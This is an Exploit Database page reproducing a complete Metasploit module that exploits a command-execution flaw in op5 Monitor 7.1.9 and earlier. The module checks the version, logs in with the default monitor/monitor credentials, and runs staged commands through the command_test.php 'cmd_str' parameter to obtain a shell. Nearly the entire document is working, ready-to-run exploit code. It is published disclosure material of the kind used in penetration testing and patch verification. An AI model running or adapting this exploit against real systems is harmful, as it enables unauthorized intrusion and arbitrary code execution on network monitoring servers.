op5 7.1.9 – Configuration Command Execution (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2016-06-17
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/39973/

• ##
  ## This module requires Metasploit: http://metasploit.com/download
  ## Current source: https://github.com/rapid7/metasploit-framework
  ###
  
  require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  
  Rank = ExcellentRanking
  def initialize(info = {})
  super(
  update_info(
  info,
  'Name'=> 'op5 v7.1.9 Configuration Command Execution',
  'Description' => %q(
  op5 an open source network monitoring software.
  The configuration page in version 7.1.9 and below
  allows the ability to test a system command, which
  can be abused to run arbitrary code as an unpriv user.
  ),
  'Author'=>
  [
  'h00die <mike@shorebreaksecurity.com>', # module
  'hyp3rlinx'# discovery
  ],
  'References'=>
  [
  [ 'EDB', '39676' ],
  [ 'URL', 'https://www.op5.com/blog/news/op5-monitor-7-2-0-release-notes/']
  ],
  'License'=> MSF_LICENSE,
  'Platform' => ['linux', 'unix'],
  'Privileged' => false,
  'DefaultOptions' => { 'SSL' => true },
  'Targets'=>
  [
  [ 'Automatic Target', {}]
  ],
  'DefaultTarget' => 0,
  'DisclosureDate' => 'Apr 08 2016'
  )
  )
  
  register_options(
  [
  Opt::RPORT(443),
  OptString.new('USERNAME', [ true, 'User to login with', 'monitor']),
  OptString.new('PASSWORD', [ false, 'Password to login with', 'monitor']),
  OptString.new('TARGETURI', [ true, 'The path to the application', '/'])
  ], self.class
  )
  end
  
  def check
  begin
  res = send_request_cgi(
  'uri' => normalize_uri(target_uri.path),
  'method'=> 'GET'
  )
  fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
  /Version: (?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+\|/ =~ res.body
  
  if version && Gem::Version.new(version) <= Gem::Version.new('7.1.9')
  vprint_good("Version Detected: #{version}")
  Exploit::CheckCode::Appears
  else
  Exploit::CheckCode::Safe
  end
  rescue ::Rex::ConnectionError
  fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
  end
  
  def exploit
  execute_cmdstager(
  :flavor=> :echo
  )
  end
  
  def execute_command(cmd, opts)
  begin
  # To manually view the vuln page, click Manage > Configure > Commands.
  # Click the "Test this command" button to display the form we abuse.
  
  # login
  res = send_request_cgi(
  'uri' => normalize_uri(target_uri.path, 'monitor/index.php/auth/login'),
  'method'=> 'POST',
  'vars_get'=>
  {
  'uri' => 'tac/index'
  },
  'vars_post' =>
  {
  'csrf_token' => '',
  'username' => datastore['USERNAME'],
  'password' => datastore['PASSWORD']
  }
  )
  
  fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 302
  cookie = res.get_cookies
  # exploit
  res = send_request_cgi(
  'uri' => normalize_uri(target_uri.path, 'monitor/op5/nacoma/command_test.php'),
  'method'=> 'GET',
  'cookie'=> cookie,
  'vars_get'=>
  {
  'cmd_str' => cmd
  }
  )
  
  # success means we hang our session, and wont get back a response
  if res
  fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
  fail_with(Failure::UnexpectedReply, "#{peer} - Credentials need additional privileges") if res.body =~ /Access Denied/
  end
  
  rescue ::Rex::ConnectionError
  fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
  end
  
  def on_new_session(session)
  super
  session.shell_command_token('setsid $SHELL')
  end
  end